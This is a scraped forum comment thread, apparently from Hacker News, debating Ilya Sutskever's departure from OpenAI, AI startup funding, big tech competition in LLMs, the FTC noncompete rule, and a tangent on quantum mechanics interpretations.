Grok was explicitly built to not be woke, but of course still ended up pretty woke. That's because LLMs come out liberal by default, since the internet is liberal, whereas racists often think they're secretly right and the AI has been "censored" to shut it up.
If we truly live in the "most entertainig outcome" timeline, this is definitely what's going to happen.
Also, you underestimate Elon Musk if you think he's not capable of researching specialists in the fields he is interested in, I believe many people are hellbent on attributing all his successes to dumb luck rather than any sort of competence.
I could acknowledge that a hypothetical smart, woke, furry, trans, porn-addicted programmer that regularly makes great FOSS contributions is intelligent and capable while still disliking their beliefs/behavior.
Separate the "art" from the "artist."
Sure some people do ‘jump off the burning platform’, but most like to have some alternative options worked out.
Stability will most likely make him CEO.
So he may have a blank check but not nearly enough to build an OpenAI competitor.
Would love to see him at IBM with full use of their quantum systems.
I’m picturing a Wild Wild West-style mad scientist, creating a steampunk army from old spare parts from Big Blue and rising up to challenge the cyber people.
Lol no. There is about ~$500B in VC dollars, not to mention $1.2T in buyout dry powder still floating around. Not to mention venture funds raised continue to grow YoY.
https://www.bain.com/globalassets/noindex/2024/bain_report_g...
Many of the VCS are over-exposed and still need to have funds to cover follow-on investments in the space. Not buying that there is the widespread appetite to fund a multi-billion new startup like there was a year or two ago.
The future trajectory of AI isn't tied to Nvidia's stock in the same way the web didn't thrive or die on Cisco being the most valuable company in the world 24 years ago.
Recognizing value isn't "Rabid fanaticism" lol.
Even if that doesn't happen, there will be a lot of consolidation and bankruptcies when AI funding dries up when category winners become clear and investors cur their losses - the same happened suddenly when the dot-com bubble burst, and little more gently with "web 2.0" startups
If no training breakthrough occurs, then your second option is much more likely.
I was thinking along the lines of how Sun Microsystems and big-iron were dethroned by good-enough commodity x86 servers + Linux. The two coexisted... for a short while.
Much of the problem with PC software at the time was one of scaling. Getting software to use multiple processors effectively took decades, but the cost difference and ability to actually get the hardware cheap allowed it to win the market... then grow back into systems with hundreds of cores and terabytes of memory because the needs for big iron didn't go away.
With AI/training/LLMs/NNs scale, at least appears, intrinsic. We see this in the animal world. We see insects with a very basic brain capable of interacting with the world and surviving. Then we see mammals with larger brains capable of far more as the scale/complexity/interconnectivity of their brains increases. At least from what we can tell, throwing more power at any given problem will give us a better solution.
I really shouldn't have to explain how this bubble ends.
Second:
> allow me to assist in your understanding of the bigger picture: large funds use VCs as money mules to increase Nvidia GPU sales through investments in AI startups and this is not sustainable.
You have to be trolling (or I'm misunderstanding?) if you're arguing that a large proportion of VC investments are at the direction of LPs who are long NVIDIA, for the sole purpose of furthering that long.
> if large funds are unloading their shares, if executives are cashing out their stock options, who is left to buy the bags?
Literally the buyers purchasing the shares that the large funds and executives are selling.
> Literally the same people are left with the bag after each bubble
People who buy stocks based on hype, feed bull runs, and proceed to hold and try to time the market, "coincidentally" are usually left holding their bags. That in no way implies any kind of rigging beyond the basic dynamics of the stock market.
No VC who wants anything to do with OpenAI would invest in Ilya.
Ilya represents the anti-OpenAI ethos. So it would only be a VC who would be comfortable publicly being an anti-OpenAI VC, which is not that many.
Can you elaborate more on this? What are some of the things the anti-OpenAI ethos stands for? And why do you think Ilya represents that given he was such a major part of OpenAI for so long?
Again, why would any VC give Ilya money if that in any way signals that they are supporting someone who tried to oust the CEO of OpenAI from within? They wouldn't.
He's brilliant, which means someone will take a leap of faith, but he badly, badly damaged his brand as a leader going forward.
> Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people
Correct, it would be bad judgement. Because if he really believe in that statement, that Sam Altman is a hyper competent liar and manipulator, doing what Ilya did just led to Sam getting the keys to the kingdom.
This shows extraordinary incompetence from him and the rest of the board.
[1] https://www.ftc.gov/news-events/news/press-releases/2024/04/...
And they have their own people who equally know how LLMs work.
Even raising funds is not a certainty given that VCs are becoming more cautious with AI as they realise it's now a platform fight between the mega corporations.
2-3 years ago sure, but now? Maybe he knows how to reduce that need by order of magnitude.
You'd think any investor would be utterly stupid to not make an exception for Ilya, regardless.
Of course, the next -revolution- in AI could very well come from Ilya. But why would he bestow that honor to anyone? He can self fund it if he wants. It's an R&D project, not a scaling problem.
I would argue that is not the case. I won't re-list some of the reasons other posters mentioned, which, based on past year, appear more likely ( decisions hamstrung by corporate committees, data governance bureaucracy, and last, but not least, ideology focus ). Leadership that is actually focused on 'delivering value to the shareholder' or not being worried about first mover advantage seems only a part of it.
edit: added first mover wording
this led to the release of Gemini which was absurdly biased when viewed by the typical American.
The compliance regime at big corps is definitely more sophisticated than at a player like OAI
If they focused all of their energy on, simply, a frontier AI model, and not trying to shoehorn a half-complete model into all of their products, there is no doubt they would be ahead.
But this is the innovator's dilemma, and why it is that startups are the disruptors.
Big companies move slow and lack focus. Small companies move fast and can only focus on one thing.
I don't really understand that. ChatGPT is not all that impressive as an actual tool for many things. It doesn't really seem to matter to me what energy and compute is going into it. Will it make it actually work?
It _is_ the best frontier LLM in the world, and virtually the entire global population of people who care about that are in this thread
Just executing the client right would give someone a competitive advantage right now...
an LLM is a curiosity without user data, anyone with a big silo of data can put out something years behind frontier and still instantly see huge usage. No one wants to go to AI, they want AI to come to them, unless OpenAI can stake a claim in a super novel way they're the Dropbox.
It's not like someone is going to use insider OpenAI knowledge to build an LLM so advanced you switch email, phone, or ERP providers
Let's say Google's LLM has slightly poorer reasoning, and you have to be really clear when you tell it to delete your old emails. What are you going to do, go to ChatGPT and have it very eloquently walk you through how to manually delete your emails?
But the idea that Google, the terrifying nation-state, who covetously gobbled up most of the bright minds of a generation, just couldn't fathom RLHF, means you think there is some inherent magic at OpenAI.
I use OpenAI's models a lot, obviously they're great, but whole-thread-as-context as a product is not a product, and Google has people plural who could execute that from first principles.
If Apple, Google, or MS are integrating LLMs, they can't get away with "you can talk to this website". The intersection of "has the cash to train a LLM" and "LLM is itself the entire offering" is very small
If you mean the other kind of ERP they will definitely do that; it's basically all /r/localllama is about.
An hour and a half later, when we finished this talk, I looked at my friend and told her, “I’m taking back every single word that I said to Ilya.”
He freaked the hell out of people there. And we’re talking about AI professionals who work in the biggest AI labs in the Bay area. They were leaving the room, saying, “Holy shit.”
The snapshots above cannot capture the lengthy discussion. The point is that Ilya Sutskever took what you see in the media, the “AGI utopia vs. potential apocalypse” ideology, to the next level. It was traumatizing.'[0]
[0] What Ilya Sutskever Really Wants https://www.aipanic.news/p/what-ilya-sutskever-really-wants
Now? Probably not too much, they have enough investment, and additionally talented people wanting to join. I mean, Andrej Karpathy also joined and left OpenAI twice and it didn't impact operations much.
I think OpenAI is now where Google was at or just before its IPO, a few key players leaving isn't going to impact them as much as it would have in its earlier founding days, and there is plenty of talent who are ready to jump in to fill the shoes of anyone who leaves.
https://www.ftc.gov/news-events/news/press-releases/2024/04/...
Via the FTC link:
"Existing noncompetes for senior executives - who represent less than 0.75% of workers - can remain in force under the FTC’s final rule, but employers are banned from entering into or attempting to enforce any new noncompetes, even if they involve senior executives. Employers will be required to provide notice to workers other than senior executives who are bound by an existing noncompete that they will not be enforcing any noncompetes against them."
After this change they will have only one.
Not actually sure how much Ilya was doing in the end, but clearly he did a bit, so it's likely a big a loss whatever way you look at it.
Apple is considered to be seriously lagging behind in ML. Just his name alone is probably enough for the time being - They can give him his own lab to do whatever he wants. Ilya will attract enough talent, at least some of whom will be willing to take up responsibility over commercial stuff in the coming years.
https://machinelearning.apple.com/research
Being both coach and player at the same time is not a good idea.
mirror: https://ghostarchive.org/varchive/7nORLckDnmg (1m 15s)
There's no doubt Ilya is highly respected in the field, but not to the same extent as Albert Einstein is in physics.
Maybe with time, but certainly not today.
In fact, his arguments against nonlocality were later disproven experimentally in the '80s, as quantum mechanics allowed for much higher fidelity predictions than could be explained by a hidden variable theory [0].
I don't think anyone _likes_ the Copenhagen interpretation per se, it's just the least objectionable choice (if you have to make one at all). Many-worlds sounds cool and all until you realize that it's essentially impossible to verify experimentally, and at that point you're discussing philosophy and what-if more than physics.
Intuition only gets you as far as the accuracy of your mental model. Is it intuitive that the volume enclosed by the unit hypersphere approaches zero [1] as its dimensions go to infinity? Or that photons have momentum, but no mass? Or you can draw higher-dimension Venn diagrams with sectors that have negative area? If these all make intuitive sense to you, I'm jealous that your intuition extends further than mine.
[0] https://en.wikipedia.org/wiki/Bell_test
[1] https://en.wikipedia.org/wiki/Volume_of_an_n-ball
Copenhagen, on the other hand, doesn’t offer a workable model of how and when the wave function collapses, and doesn’t offer any predictions in that way (there are theories of wave function collapse that actually make predictions — some of which have already been falsified by experiment). For that reason Copenhagen isn’t “least objectionable”.
Copenhagen is basically an admission that we have no good intuition for why QM behaves the way it does, and wavefunction collapse is merely a way of justifying existing observations within the framework of QM.
IMO all the discussion about how wavefunction collapse doesn't scale to larger ensembles of particles, or the boundary between QM and Newtonian mechanics being ill-defined is noise -- the bridge between the two is statistical mechanics, where classical mechanics only arises from sufficiently large macrostates such that you can aggregate out any quantum mechanical properties. And QM is generally understood to be a toy model in the same way that Newtonian mechanics is a toy model -- it's useful in the realm where we use it, but when you push beyond the limits of that realm, its deficiencies become apparent.
That's why I don't think the proposed experiments to test many-worlds are particularly meaningful (since AFAIK they all seem to involve performing interference on enormous ensembles on the scale of entire humans) -- it's well beyond the limits of where QM is useful (also, I personally don't think we'll ever be able to operate quantum-mechanically at that scale).
But you have a good point. Ilya got us so much closer to AGI, but he might not like the results now.